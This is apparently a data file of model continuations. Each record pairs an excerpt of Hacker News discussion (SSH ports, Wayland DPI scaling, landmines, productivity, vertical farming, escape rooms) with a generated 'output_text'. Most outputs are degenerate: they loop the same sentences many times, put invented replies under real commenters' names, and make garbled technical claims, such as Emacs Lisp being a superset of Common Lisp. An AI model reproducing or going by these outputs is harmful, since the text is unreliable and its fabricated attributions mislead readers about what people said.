necessary\nguesses by 2^N. Having a _separate_ N bit password _adds_ 2^N to the number of\nof necessary guesses. So if your real password's effective key length is more\nthan 16 bits, using a random port effectively adds less than 1 bit of entropy.\n\nAlso, rate-limiting port scans is way harder to do than rate-limiting\nauthentication.\n\n~~~\ncpressey\nIt occurred to me that if you want to multiply the number of necessary guesses\nby running sshd on an alternate port, you'd need to run multiple sshds. (Of\ncourse all but"} +{"output_text": " their old laptops.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see any mention of\nWayland.\n\nI'm not sure if I'm missing something, but I don't see any mention of\nWayland.\n\n~~~\nEldandan\nI'm not sure if I'm missing something, but I don't see any mention of\nWayland.\n\n------\njosteink\nI'm not", "input_text": " significantly different dpi, Windows runs rings\naround anything on Linux. Windows is surely buggy - I have serious problems\nwith its multi-monitor support - but it seems that its multi hi dpi only\noccasionally crashes Firefox and it's otherwise reasonable.\n\nWith Xorg, there's no effective support for different dpi. So if you can\ntolerate the variation in pixel size then it's tolerable, but if they're too\nmuch it all breaks. Moreover, many apps completely ignore the dpi. For\ninstance, Spotify which is is almost unreadably low contrast doubles down and\nit's unreadably small too.\n\nWith Wayland, it's unusable since any seriously productive app will be shown\nat at least quadruple size the moment you require pixel doubling, X apps will\nbe pixel doubled twice and Wayland native apps all seem to be toys. This seems\nto have been a bug that was first report years ago so I suppose they're\nwaiting until someone rights a Wayland version of Firefox and Jetbrains and so\nforth.\n\nFortunately, this motivated me to by a 4k screen which I'm happy with. It's\nonly tolerably different than my hidpi laptop screen so I don't need to worry\nabout X's mono-dpi-ism. But it's still incredibly frustrating.\n\n------\npachico\nDefinitely the best flavour. You guys help me resuscitate tons of old laptops\nfor frustrated ex Windows users, which are very happy with now with their new\nOS. Great work!\n\n~~~\nEldandan\nHere, here! I love Xubuntu. Of all the lighter flavors like Kubuntu, Lubuntu,\nMint/xfce, Xubuntu has been the one I had the best experience setting up for\nothers on"} +{"output_text": " at it, and some people are not. I'm not sure what your \"success\" looks\nlike, but I can tell you that I'm not very good at it. I'm not sure if I'm\ngood at it because I'm not very good at it, or if I'm not good at it because I\ndon't have the talent.\n\nI'm not sure what your \"failure\" looks like, but I can tell you that I'm\npretty good at it", "input_text": "://focuslist.co/](http://focuslist.co/) to set my agenda for the day\nearly on, then work through the list.\n\n4\\. Read \u201cDeep Work\u201d and \u201cSo Good They Can't Ignore You\u201d by Cal Newport.\n\n5\\. Reduce social media. I dropped Facebook and removed all twitter apps from\nmy phone. This is a good guide: [http://humanetech.com/take-\ncontrol/](http://humanetech.com/take-control/)\n\n6\\. Exercise for 20 minutes every morning. I bought a speed rope from\n[http://rpmtraining.com/](http://rpmtraining.com/) and now skip every morning\nwhile listening to podcasts / audiobooks.\n\n7\\. Consider getting a full-time job, or a contract with one company for 20-30\nhours a week. Having co-workers to compare yourself with and managers to be\nanswerable to is a natural motivator.\n\n~~~\ninglor\n> 1\\. Do the \u201cProductivity\u201d sessions in the Headspace app.\n\nIf you haven't done so already - do the \"Motivation\" pack too - it literally\nteaches you how to summon motivation which is phenomenal.\n\n------\nmikekchar\nI don't know exactly what your \"success\" or \"failure\" looks like to you, but I\nwill say that working in an unstructured environment (which is what you\nnormally do when freelancing) is super hard. I'm willing to bet that if you\nwere to get a 9-5 job you'd discover that you're actually outperforming most\nother people -- because the 8 years of experience you have pushing yourself.\n\nBeing \"self-driven\" is both a talent and a skill. Some people are naturally\ngood"} +{"output_text": "wikipedia.org/wiki/PFM-1)\n\n~~~\nmikeash\nI don't think that's a very good explanation. The article is clearly\ndescribing the Russian version of the mine, and the Russian version is\nidentical to the American version.\n\n~~~\nwoodruffw\nI'm not sure what you mean by \"identical\". The article is clearly describing\nthe Russian version of the mine, and the Russian version is identical to the\nAmerican", "input_text": " Russian-made PFM-1 land mines\u2014the most common\n> butterfly type, possibly inspired by similar U.S. weapons deployed during\n> the Vietnam War\"_\n\nPossibly? Why is this article softballing? The Russian version of the mine is\na DIRECT ripoff of the American version. They look EXACTLY the same.\n\nHere is a BLU-43, the American version: [http://www.big-\nordnance.com/subs/BLU43OD.jpg](http://www.big-ordnance.com/subs/BLU43OD.jpg)\n\nHere is a PFM-1, the Russian version:\n[https://en.wikipedia.org/wiki/PFM-1#/media/File:Russische_Sc...](https://en.wikipedia.org/wiki/PFM-1#/media/File:Russische_Schmetterlingsmine_PFM-1.jpg)\n\nIt's the same damn mine! There is no \"possibly\" about this. The author didn't\nlie but he's damn sure being dishonest. The article never even mentions the\nBLU-43 by name, which would allow more readers to look it up and decide for\nthemselves.\n\n~~~\nwoodruffw\nLazy research, not dishonesty, is the far more likely explanation here. From\nWikipedia[1]:\n\n> a land mine of Soviet production, very similar to the BLU-43 US Army\n> landmine. Both devices are very similar in shape and principles, although\n> they use different explosives.\n\nThe author probably reworded the above.\n\n[1]:\n[https://en.wikipedia.org/wiki/PFM-1](https://en."} +{"output_text": " and added a lot of features.\n\nEmacs Lisp is a superset of Common Lisp. Common Lisp is a superset of\nMaclisp.\n\n~~~\nriffraff\nthanks, I was wondering if there was a reason for that.\n\n~~~\nlispm\nCommon Lisp is a superset of Lisp 1.5.\n\nEmacs Lisp is a superset of Lisp 1.5.\n\nCommon Lisp", "input_text": " (I'd personally prefer Common Lisp, but whatevs).\n\n------\nburtonator\nI spent about 2 years of my life in my 20s hacking on elisp constantly. I was\ninfatuated with it.\n\nThen I spent about 5-10 years using that platform as my IDE.\n\nGuess what... Last year I migrated to IntelliJ IDEA and won't EVER migrate\nback. It's kind of sad... but IDEA is insanely awesome by comparison.\n\n~~~\nTeMPOraL\nBlasphemy!\n\nOn a more serious note, could you elaborate a bit on how IDEA is \"insanely\nawesome\" compared to Emacs? What do you find more useful/enjoyable in the\nIntelliJ IDE?\n\n------\nsystems\nwho is Stefan Monnier? and why should we care about what he thinks?\n\nis he the main emacs maintainer? in other words, how seriously should we\nconsider this email?\n\n~~~\ntjr\n[http://lists.gnu.org/archive/html/emacs-\ndevel/2008-02/msg021...](http://lists.gnu.org/archive/html/emacs-\ndevel/2008-02/msg02140.html)\n\n------\nriffraff\ncan someone more knowledgeable than me explain how is elisp closer to CL than\nto Scheme?\n\n~~~\nlispm\nBoth Emacs Lisp and Common Lisp are coming from MIT's Maclisp dialect. There\nwere Emacs variants written in Maclisp or its dialects before GNU Emacs\nexisted. Emacs Lisp was a very simplified Maclisp. Common Lisp modernized\nMaclisp (especially lexical binding),"} +{"output_text": " talking about.\n\n~~~\nmsvalkon\nI'm not sure what you mean. I'm not talking about suing California, I'm\ntalking about suing the state of California.\n\n~~~\nRobertoG\nI'm not sure what you are talking about.\n\nYou should be allowed, as a corporation, to sue the state of California... in\nCalifornia.\n\n~~~\nmsvalkon\nI'm not sure what you are talking about.\n", "input_text": " time now.\n\n------\njokoon\nI hate to say this, and I don't think it's justified, but that's the kind of\nstuff al-qaeda would fight against.\n\nSomeday having anti-american opinions might equate with being a terrorist.\n\n~~~\nandy_ppp\nSomeday! Funny that you should say this but David Cameron wants us to never be\nleft alone by the state and anti terror laws are regularly used against people\nwho are not terrorists. The police are being militarised and the human rights\nact is being removed from law here in the UK. Someday looks like tomorrow to\nme.\n\n------\nkokey\nOpening up trade is bad by default... to those that benefit from the barriers\nthat are in place. I am always suspicious of a lot of emotive campaigning in\nresponse to trade agreements that opens up trade.\n\n~~~\nmsvalkon\nDid you by chance read the article? This has little to do with opening up\ntrade and much to do with providing ridiculous amount of power to any major\ncorporation.\n\nEDIT:\n\nSuppose I'm a producer of bottled water from Germany. I bottle a lot of water\nin California. The Californians vote to move to heavy water rationing and\nregulation due to the threat of continuous draught. This hurts my business, so\nshould I be allowed, as a corporation, to sue the state of California, have\nany possible trials and hearings within a closed courtroom and possibly\noverrule the vote?\n\n~~~\nRobertoG\nAgree, the motivation of all this is, at least, worrisome.\n\nYou should be allowed, as a corporation, to sue the state of California... in\nCalifornia. But this is not what we are"} +{"output_text": "\nyou can just turn the device off.\n\n~~~\nforcer\nI don't want to use my phone during the night. I want to use my phone to\ncollect data and wake up at a predetermined time.\n\n~~~\nspydertennis\nYou can do that with the app.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\nspydertennis\nIt's a sleep tracker.\n", "input_text": " FCC ID is only good in the\nUSA. In Europe, you need a CE mark. Australia sometimes insists on yet another\nregistration for 2.4GHz equipment.\n\nHonestly, international RF regulatory certification is a mess, and the piles\nof paperwork involved make it easy to miss deadlines.\n\n~~~\nspydertennis\nSpot on.\n\n~~~\nbrandon\nIf you guys haven't already got a relationship with T\u00dcV, you might consider\ntalking to them about certifying your next revision. They handled all our\nregulatory (domestic and int'l) with a lot less difficulty (and deadline\nslipping) than doing it in-house.\n\n------\ninvisible\nYou should really have an \"allow my data to be used for anonymous scientific\nstudy\" option. It'd be really neat to see graphs of male vs female, young vs\nold, etc. similar to 23andme. I guess this is coming in the future with the\n\"paid\" wakelytics features?\n\n------\nmgrouchy\nCongrats to The Wakemate team for finally shipping! The device is pretty\nawesome,(I've been using during the beta) can't wait to see what these guys\nhave in store next.\n\n------\nforcer\nDoes the iPhone app needs to be running through the night for this device to\nwork? that's what I hated about Sleep Cycle and would not want to use it if it\nhas the same flaw.\n\n~~~\nspydertennis\nWhy do you hate that? You wouldn't be using your phone during the night\nanyway?\n\nIf you want the optimal wake feature to work you need to leave the app\nrunning. If you just want to collect data and wake up at a predetermined time"} +{"output_text": " are plenty of resources online.\n\n------\njoshu\nI'm not a doctor, but I've been there.\n\nI think you need to get a handle on your time. I'm not sure what you mean by\n\"I'm not sure what I'm doing with my time\" but I think you need to figure out\nwhat you want to do with your time.\n\nI'm not sure what you mean by \"I'm not sure what I'm doing with", "input_text": "\nday. If I say, \"I'll go work out\" or \"I'll skip studying X this morning and do\nit tonight\" it will never happen. So, maybe looking at your most productive\ntimes of the day to see if you can put some more structure around getting\nthings going.\n\nBest of luck\n\n1 -\n[http://tokyocounseling.com/english/counselor/](http://tokyocounseling.com/english/counselor/)\n\n------\nan_throwaway\nSee if you need to get treated for ADHD. I was in a similar situation as you,\nand actually reaching out to a psychiatrist helped me immensely.\n\nYears later I have a solid business, a work routine and can actually focus on\nholding projects and things without having allergic reactions to run after the\nnext squirrel - and without abandoning something I have a sudden averse\nreaction to.\n\n~~~\nan_throwaway\nI want to just iterate that it's been far easier to treat this than I imagined\nin the first place. I've been struggling with getting this kind of help for a\nfew years, knowing that I cannot fully concentrate - and doing far too much\nonline research instead of just moving my ass ( which is a common issue ).\n\nThe Psychiatrist at first thought it was due to a \"lack of discipline\" until I\nexplained to him that I locked myself in for 2-3 months to work on my own\nprojects, just to clean up the whole house and do everything else, instead of\nthe projects I wanted/needed to work on.\n\nThe only thing you need to research is which medicine you can be prescribed,\nas some of them are not allowed in Japan. But enough foreigners went through\nthis process, so there"} +{"output_text": " guns are going to be banned in the US.\n\n~~~\njessaustin\nI'm not sure that's a good idea. The US has a long history of banning\nweapons, and it's not clear that the taser is any worse than the other\nweapons that have been banned.\n\n~~~\nmattdeboard\nI'm not sure that's a good idea either. I'm not sure that banning weapons is\na good idea.\n\n~~~", "input_text": " somehow inherit blame from hundreds of\nyears ago when that guilt is used in an attempt to rationalize current\noppression.)\n\n \nThorShield Energy Weapon Protection Fabric - rolph\nhttp://www.thorshield.com/\n======\nnoodlesUK\nTwo things: I\u2019m sure current body armour is resistant to tasers, as the prongs\nneed to hit you in order to work, and if your armour is stopping a knife or a\nbullet, two measly little pins aren\u2019t gonna make it.\n\nIf you want a cheap and trivially accessible alternative to this, a fencing\nLame will fit the bill perfectly. It\u2019s a metal conductor in the shape of a\nvest or jacket. Whilst I haven\u2019t ever been tazed wearing one, I imagine it\nwould handle it just fine.\n\n~~~\nsteve19\nI have fired non-consumer Tasers a number of times (at targets, not a living\nthings). The thin needles of a Taser are more likely to pentrate armor than a\nlage knife. And a knife is more likely than a bullet. Bulletproof vests are\nnot necessarily knife proof, they capture bullets by binding them and\ndissipating energy rather than stopping them dead (that is what ballistic\nplates/inserts are for)\n\nThat said needle proof vets are common and used by law enforcement.\n\n------\nfloatingatoll\nIronically, their website shows \u201cNot Secure\u201d in my browsers when visited, and\nrightly so: insecure HTTP, insecure session cookies, insecure offsite JS. I\nhope they can be convinced to improve their electronic weapon defenses to the\nsame level as their energy weapon defenses.\n\n------\nmattdeboard\nI wonder if taser and other stun"} +{"output_text": " and no time to implement them.\n\nI'm not sure if it's just me, but I've been having this problem for a while now. I'm not sure if it's just me, but I've been having this problem for a while now. I'm not sure if it's just me, but I've been having this problem for a while now.\n\nI'm not sure if it's just me, but I've been having this problem for a while now. I", "input_text": " be inflationary. It don't make any rational sense\nthat a government could just purchase trillions of dollars worth of it's own\ndebt with synthetic money and not have some inflationary impact (your initial\nfear). So what then? How is that massive force just being absorbed with no\nconsequence? I don't know, I don't think anyone knows. I could speculate. It's\nlikely that in a global economy China's artificially devalued currency allows\nus to print money without real inflationary consequences for us? Could be the\ndollar has become the de facto world currency and with this much wider\ncirculation the system can absorb much more inflationary pressure than\npreviously thought. Could be that this system is controlled more by behavioral\neconomics than economics. Maybe people just believe a dollar is worth about X\nand that's very sticky until it isn't. This last idea is the scariest. Our\ngovernment is just like a big bank. The value of the dollar is subjective and\nI believe serious inflation won't come in an incremental fashion, it will come\nin a black swan tidal wave. I could be wrong and I seriously hope I am!! I\njust don't think it's prudent to say, well we all thought (rationally and\nrightly) QE was going to cause inflation because it's so obviously an\naggressively inflationary policy... then since it didn't we just turn the page\nand say oh well... glad that didn't blow up the dollar. We need to understand\nwhy that didn't have an effect.\n\n \n\nAsk HN: Focus and concentration - gdberrio\n\nMaybe it's just me, but anyone else has troubles dealing with lack of Focus and concentration, ending in not getting things done and getting stuck in a \"disfuncional perfectionism\" with lots of ideas"} +{"output_text": "2) how many they actually will sell?\n\nIf you are in charge of Nintendo... and you put something out like the Wii,\nNintendo Class, etc... how do you expect to get the amount sold right on the\nfirst shot?\n\nIn my opinion? It's a damn hard problem... it only takes a little bit of\ninternet power - everyone going ape shit over something inconsequential - and\nBAM what you expected to sell 1 million units is", "input_text": " more manufacturing than you'll ever need again.\n\n~~~\npoppysan\nBut grossly under-producing infuriates people who won't be able to purchase\nthe product for months due to a silly marketing ploy. I still cannot buy the\nNintendo classic in-store, and it came out 4th quarter 2016.\n\n~~~\nwernercd\nSo... how do YOU plan on correctly predicting how popular or unpopular\nsomething is?\n\nIsn't this one of the major pain points for many small companies that put\nstuff up? Correctly gauging 1) how much it costs to mass produce something and\n2) how many they actually will sell?\n\nIf you are in charge of Nintendo... and you put something out like the Wii,\nNintendo Class, etc... how do you expect to get the amount sold right on the\nfirst shot?\n\nIn my opinion? It's a damn hard problem... it only takes a little bit of\ninternet power - everyone going ape shit over something inconsequential - and\nBAM what you expected to sell 1 million units is now out of stock and you have\nmillions of people mad.\n\nNow that millions of people want it... will they still want it in 6 months\nwhen you ramp up production or is the fad over?\n\nPeople make it seem like this is an easy question to answer... where is the\nmillions your willing to put on the line for similar questions...\n\n~~~\naanm1988\n> So... how do YOU plan on correctly predicting how popular or unpopular\n> something is?\n\nI'd pull numbers out of thin air.\n\nIsn't this one of the major pain points for many small companies that put\nstuff up? Correctly gauging 1) how much it costs to mass produce something and\n"} +{"output_text": " machines, you don't need to use a\npassword.\n\n~~~\npwg\nI have been using public key authentication for years. I have a key on my\nmachine, and I use it to log in to my machine.\n\nI have a key on my machine, and I use it to log in to my machine.\n\nI have a key on my machine, and I use it to log in to my machine.\n\nI have a key on my machine", "input_text": "\nars\nIt's written in python, which takes about about 2m-5m just to get out of bed\nwith nothing loaded or running. (I don't consider that a lot BTW, not a ding\non python.)\n\nThere's about 200K of source code, but basically all the overhead is the\npython runtime.\n\n(The memory usage of python doing nothing varied on different machines, but\nwas always virtually identical to the usage of fail2ban.)\n\nAlso, the virt usage is mostly large memory mapped logfiles, not actual swap\nusage.\n\n------\njfb\nAnother thing that occasionally cheeses me off is the restriction on canonical\nports < 1000 to user 0. Yes, I know it's standardized. Yes, I know that when\nit was codified the world looked very, very different. It's still annoying and\nrequires cargo-cultish hoop-jumping (albeit well understood hoop jumping) to\nrun a decently secure service.\n\n------\nrellik\nI like some mix of the following:\n\n\\- disable passworded logins (only keys)\n\n\\- ssh bastion host\n\n\\- decoy ssh honeypot on port 22 ()\n\n------\npwg\nThis is useful to protect sshd from random scans, but to still allow you\naccess from anywhere when you need that access:\n\n\n\n~~~\njulian37\nDo yourself a favor and use public key authentication rather than passwords.\nIt's both more secure and (together with ssh-agent) more convenient.\n\nUnless you're logging in from other"} +{"output_text": "/etc. are separate apps; and there is a reason that\nthe web is a \"write once, run everywhere\" platform.\n\n~~~\ncoldtea\n> _What would you expect web development to be like?_\n\nLike a proper programming language, with a proper IDE, with proper\ndocumentation, with proper libraries, with proper tooling, with proper\ndebugging, with proper testing, with proper documentation, with proper\ndocumentation, with proper documentation, with proper documentation", "input_text": " disagree with you. The Flash authoring tools WERE amazing.\n\nWhen I'm feeling in a trolling mood, I tell people that Flash is still ahead\nof JS and HTML5. Not only was the IDE incredible, but AS3 was literally a\ntyped version of JavaScript with XML liberals. That's right, it had the best\nfrom JavaScript, TypeScript and JSX, 10 years before any of that existed in\nthe front end web development toolkit.\n\nAnd you guys hate on Flash! :)\n\n~~~\ncoldtea\n> _Electron has excellent authoring tools aimed at web developers. Namely, the\n> ones they are already using._\n\nYou must have a very different definition of excellence if you believe that\nthe current web authoring tools (whatever IDE or editor + plugins people use)\nare in any way close to \"excellent\".\n\n~~~\nderefr\nWhat would you expect web development to be like? I mean, holding static the\nrequirements that the resultant DOM has to:\n\n1\\. reflow when resized (unlike a PDF);\n\n2\\. work with screen-readers (unlike naive custom rendering engines in games\net al);\n\n3\\. work with accessibility-enabling UA stylesheets (unlike native UI\ntoolkits);\n\n4\\. be printable without a separately-authored for-print version;\n\n5\\. if stateful, uses idiomatic HTTP request/response cycles that enable\nnetwork-level HTTP caching;\n\n5\\. if a web-app, talks to a simple mostly-stateless HTTP API that can also be\nconsumed unchanged by API client libraries.\n\nThere is a reason that Dreamweaver and Publisher are separate apps; and there\nis a reason Rails/Phoenix"} +{"output_text": " the game is not designed to be scaled.\n\n------\njamesfmilne\nI'm not sure if this is a bug or a feature, but I can't get the game to start\non my Mac.\n\n~~~\nsclangdon\nI'm not sure if this is a bug or a feature, but I can't get the game to start\non my Mac.\n\n~~~\njamesfmilne\nI'm on a Mac too. I", "input_text": " bugs that\nprevented me from playing.\n\nGive it a spin if you were (or still are) into the original Rollercoaster\nTycoon!\n\n~~~\nsqueaky-clean\nThanks for the info, I definitely will. RCT and RCT2 are among my favorite\ngames ever made. I still load them up at least once every 6 months. Leafy Lake\n/ Lucky Lake will always have a place in my heart.\n\n~~~\nlucb1e\nThat's one of my favorite levels too! Whenever I'm unsure which one to load\nup, that's almost inevitably going to be it :)\n\n------\nantimatter\nI wish someone did something similar for Populous: The Beginning.\n\n------\nhippich\nI wonder if there is some universal way to increase DPI for SDL-based apps. I\nam on linux and I can't read anything =(\n\n~~~\nsclangdon\nSDL2 has SDL_WINDOW_ALLOW_HIGHDPI, which creates the window in high-DPI mode.\n\n~~~\njanisozaur\nI have added poor man's scaling in\n[https://github.com/OpenRCT2/OpenRCT2/pull/2280](https://github.com/OpenRCT2/OpenRCT2/pull/2280)\nyou can also look into the investigation lead in\n[https://github.com/OpenRCT2/OpenRCT2/pull/2328](https://github.com/OpenRCT2/OpenRCT2/pull/2328)\n\n~~~\nVMG\nIsn't there a way to preprocess the sprites and create 2x and 4x scaled\nversions?\n\n~~~\njanisozaur\nNo,"} +{"output_text": "time, we can see that 3D printing is not new.\n\nThe first 3D printer was invented in the late 70's and was a very crude\ndevice. It was a simple device that used a laser to melt a plastic filament\nand then the plastic was pushed through a nozzle to form a 3D object.\n\nThe first 3D printer was a very crude device and it was not until the early\n90's that the first 3D printer that was capable of printing a", "input_text": ".\n\n------\nukoki\n\"There's no money in 3D printing\"\n\nI'm skeptical. For example, developing seeds is another industry potentially\nvulnerable to the \"customers could become the producers\" dilemma but Monsanto\nis doing pretty well. Similarly you can use Microsoft products to download,\ncrack and freely reproduce Microsoft products - but they're not doing too bad\neither. I wouldn't underestimate the combination of legislation, monopolies\nand/or powerful branding.\n\nAll it would take is for your Acme 3D Printer to have its own a Acme 3D\nTemplate Store and a large market share.\n\n~~~\namalag\nMonsanto is not a good comparison because they force you to buy seeds from\nthem the next year. You are not allowed to collect seeds from the plants you\ngrow and they will sue you. And our judicial system agrees with Monsanto\nbecause we think DNA is patentable. This will hit the supreme court in\nFebruary.\n\nU.S. Court of Appeals for the Federal Circuit, which ruled that \"once a\ngrower, like Bowman, plants the commodity seeds containing Monsanto's Roundup\nReady technology and the next generation of seed develops, the grower has\ncreated a newly infringing article.\"\n\nLearn more:\n[http://www.naturalnews.com/037589_monsanto_saving_seeds_farm...](http://www.naturalnews.com/037589_monsanto_saving_seeds_farmers.html#ixzz2H8Nfro7c)\n\n------\nZenst\nI disagree with the articles conclusion. It does make some good points about\ncosts and how a dedicated tool is better but if we just go back a little in\n"} +{"output_text": " schedule would have avoided\nall of these issues.\n\n~~~\norasis\nI have a few more observations:\n\n\\- The emitters are not very good. They are cheap and they are not very\nefficient. They are also not very durable.\n\n\\- The emitters are not very good. They are cheap and they are not very\nefficient. They are also not very durable.\n\n\\- The emitters are not very good. They are cheap and they are not", "input_text": "BSD.\n\n------\nmablap\nThe proposed distro (Debian) was spot on for me. You could probably split the\nquestionnaire between people who want to try linux for the first time, and\npeople who want to try a new distro.\n\n------\nolp2\nIt just pinpointed Debian, however I think asking about the package manager\ncreates too big of a bias for a \"chooser\".\n\npick: next button messes with the browser history.\n\n------\nsmkellat\nIt guessed Xubuntu. I'm using Xubuntu at the moment. How it then jumped from\nthat to Slackware...damfino.\n\n------\nsteanne\nrolling versus non?\n\n------\nashitlerferad\nSeems to be broken without JavaScript turned on?\n\n \nZipGrow: Vertical farming/urban agriculture system - davelnewton\nhttps://shop.zipgrow.com/\n======\norasis\nI own 20 ZipGrow towers and have become quite disillusioned with them across 3\ngrowing seasons.\n\nThe biggest problem is that there is nothing to buffer moisture on the roots\nif there is an intermittent problem.\n\nYou might get a nice crop of basil growing and then a clogged emitter for 12\nhours can be the death of those plants.\n\nHere are all of the failure modes I have experienced:\n\n\\- pump dying \\- Leak in base causing all water gone in 24 hours \\- clogged\nemitters \\- water choosing off route through tower and not hitting the plants\non top \\- emitters getting blown off causing water to spray outside tower \\-\ncircuit breakers trip from pump\n\nOverall I\u2019ve probably lost half of everything I\u2019ve planted in a zipgrow.\n\nA professional operation with a daily maintenance"} +{"output_text": " we're going to publish it anyway\" is just as bad as the attitude\nthat \"you're giving info to the evil hackers and we're going to publish it\nanyway\".\n\n~~~\namorphid\nI don't think it's hostile to Google. I think it's hostile to Microsoft.\n\n~~~\ncheald\nI don't think it's hostile to Google. I think it's hostile to Microsoft.\n\nI don't think it's hostile to Google.", "input_text": " easier thing to overcome.\n\nCould you share with us what books and programming languages/tools you've been\nusing? While there are certainly common ideas, different types of language\ntake a different approaches to describing a program. Maybe whatever you've\nchosen doesn't suit your way of thinking particularly well, and you would find\nanother tool more intuitive at this stage.\n\n~~~\namorphid\nThe book I've had the most luck with is _Learning To Program_ by Chris Pine.\nThere's a question in the book about counting the sections of land on a\nstandard X,Y grid map. That would be a good example of a problem that blows up\nmy brain.\n\n~~~\nChris_Newton\nWhich of these would you say is closest to your difficulty?\n\na) You don't understand what the problem means.\n\nb) You can't describe an algorithm that would solve the problem in plain\nEnglish or \"pseudocode\".\n\nc) You could describe the algorithm informally, but don't know how to code it.\n\n \nGoogle posts Windows 8.1 vulnerability after 90 days - mmorris\nhttp://www.engadget.com/2015/01/02/google-posts-unpatched-microsoft-bug/\n======\ncheald\nThis story is surprisingly hostile to Google. A 90-day window after which the\nbug is published is about as responsible as responsible disclosure gets. The\nheadline really rubs me the wrong way, as though Google raced to publish this\nvulnerability to spite Microsoft.\n\nNot talking about the bug doesn't mean it's not there, but talking about it\nsure makes people aware that they should perhaps take extra precautions until\nMicrosoft patches the bug. The attitude that \"you're giving info to the evil\nhackers and"} +{"output_text": " like I was going to lose it, I would\njust stop and take a few deep breaths.\n\nI would then try to think of the task again, and if I still felt like I was\ngoing to lose it, I would just stop and take a few deep breaths again.\n\nI would then try to think of the task again, and if I still felt like I was\ngoing to lose it, I would just stop and take a few deep breaths again", "input_text": "\n\nI have tried many different methods, the one I am trying now is using an app\nto implement the GTD method. So far it is working well.\n\nPreviously I have tried to plan things out the night before and be able to\njust hit the ground running. It works well, but having more of a running list\nof next actions with GTD seems to be a better fit.\n\n~~~\ndalacv\nDesign is actual work to some people.\n\n------\nmancerayder\nHere's something to try: 20m chunks and breaks. And patience. Sometimes it\ntakes a few empty cycles of 20m before breakthroughs begin. Once begun, they\nself-motivate.\n\nYou don't have to crank through until something starts. And it might even be\nokay to let your mind wander during the 20 minutes.\n\nThen break. Take a few minutes, step away, go outside, pace around, glance at\nHN, anything.\n\nBack to the 20m.\n\nIt's similar to a warmup at the gym when you're starting to do heavy sets.\nHere you're priming your mind.\n\nMy philosophy is, the second you have to fight yourself / your mind\n(motivation), you've already lost.\n\n------\njimmyjack\nAs somebody who has suffered basically the exact same thing, one book that has\nimmensely helped is: [https://www.amazon.com/Self-Directed-Behavior-Self-\nModificat...](https://www.amazon.com/Self-Directed-Behavior-Self-Modification-\nPersonal-Adjustment/dp/1285077091)\n\nEssentially I found that I could tackle any task, but on the first flash of\nsome other more exciting idea, feeling"} +{"output_text": " a disaster).\n\n~~~\njfengel\nI think the idea is that you can grow food in a city, and then sell it to\npeople who live in the city.\n\n~~~\njfengel\nI think I'm going to have to go with \"no, that's not what they mean.\"\n\n------\njfengel\nI'm not sure I understand the point of this article. It's a long list of\nthings that are already", "input_text": " greens for much of the world's population. The economics\nare slowly improving with LED efficiency increases and capital infusion to\nscale farms.\n\n1:\n[https://search.proquest.com/openview/ccf876147b3e8a224da6770...](https://search.proquest.com/openview/ccf876147b3e8a224da6770203e5fa4d/1?pq-\norigsite=gscholar&cbl=18750&diss=y) 2:\n[https://www.upstartfarmers.com](https://www.upstartfarmers.com) 3:\n[https://www.plenty.ag/the-feed/plenty-acquires-bright-\nagrote...](https://www.plenty.ag/the-feed/plenty-acquires-bright-agrotech-to-\nglobally-scale-impact-of-local-farmers/)\n\n~~~\ntomp\nDo you have any idea, why do people concentrate on aquaponics, not aeroponics?\nIs it just simply easier to implement, or better researched? Or is it actually\nbetter (higher yield, closed-loop system,...)?\n\n~~~\nSophistifunk\nHydroponics would be the alternative to aeroponics, I think? Aquaponics\nusually means a hydroponics system in a loop with fish tanks.\n\n------\nflagada\nI don't really understand the whole \"urban agriculture\" crowd.\n\nPeople do often live in crowded cities, but there's plenty of space to grow\nstuff on outside of cities. It's the same kind of thinking that gave us the\nsolad roads (which were, predictably,"} +{"output_text": " the last few years.\n\n------\njoshu\nI've been to a few of these. They're fun.\n\n------\njoshu\nI've been to a few of these. They're fun.\n\n", "input_text": ".html\n\n======\nschoen\nI did the two permanent room escapes run by Real Escape Game/SCRAP in San\nFrancisco (in the New People mall in Japantown), namely Escape from the\nMysterious Room and Escape from the Time Travel Lab. They were great fun. (My\nteams didn't manage to escape from either of them.)\n\nI also did their Escape from the Bank (themed after the aftermath of a bank\nrobbery), where I think my team was the only one to make it out. That event is\npossibly less awesome because you're seated at a table in a big hall with a\nlot of other teams around you, rather than exploring small room all by\nyourselves.\n\nNow I'm looking forward to trying the games in New York City!\n\n~~~\nfallinghawks\nI did Escape from the Mysterious Room as well, and really enjoyed it. We\nprobably needed another 15 minutes to complete because we got hung up on one\nof the puzzles that needed a piece we hadn't found yet.\n\nI'd like to do it again but would like to go with people who have actually\nhave played escape games (esp. Japanese) before.\n\n------\nUdo\nIt's interesting how much LARP ideas are beginning to diffuse into general\nculture. Lastly I was talking to someone who basically organized themed mini-\nLARPs for corporate teams. Since these are audiences who generally aren't\nfamiliar with the medium, they're always amazed.\n\nI think as our natural environment continues to become safer and more\nvirtualized, these immersive adventures and ARGs will become more popular and\nmainstream.\n\n------\nwzsddtc\nThese are really popular in China Mainland as well since"} +{"output_text": "------\njoshu\nI pay $X for a good meal. I'll pay $2X if you can make me a good meal.\n\nKey point: I need to trust that your decisions are correct. What I want to pay\nfor is not thinking about this and knowing that it's handled.\n\n~~~\nimcqueen\nI think you're right. I think the key is to make sure that the food is\ndelicious and that the service is good", "input_text": " [1]. The end-user signs up with\na Stripe account, you get an OAuth key, and can make charges on their account.\nYou can also collect fees on top of any payments [2].\n\n[1]: [2]:\n\n\n~~~\npeteforde\nThank you so much! I don't know how I missed that.\n\n------\nyummyfajitas\nI pay $X for clothing (I haven't calculated it, but assume it's relatively\naverage for a man who doesn't wear suites). I'll pay $2X if you can make me\nwell dressed.\n\nKey point: I need to trust that your decisions are correct. What I want to pay\nfor is not thinking about this and knowing that it's handled.\n\n~~~\nimcqueen\nOne major factor in appearing well dressed is having clothes that fit\nproperly. Even expensive clothes look bad when they're not the right size and\ncut. It may be cool if a startup could curate clothes that match both style\nand body type.\n\nThis could exist by the way, I don't know of any off the top of my head\nthough. Bonobos.com is the only thing that comes to mind. They're not\nspecifically doing the above, but I think they offer a variety of fits/sizes.\nI've had a good experience with them in the past.\n\n~~~\ncynicalkane\nSome companies do computerized made-to-measure clothes. These reportedly work\npretty well, but the lead time and effort required by the consumer is very\nlarge. The ones I know about only do business wear.\n\n"} +{"output_text": " people who are not paying them.\n\n------\njrockway\nI'm not sure what the point of this is. If you're hosting a blog, you're\nprobably not going to be able to afford to pay for a lawyer to fight this.\n\nIf you're hosting a blog, you're probably not going to be able to afford to\npay for a lawyer to fight this.\n\nIf you're hosting a blog, you're probably not going to be able to", 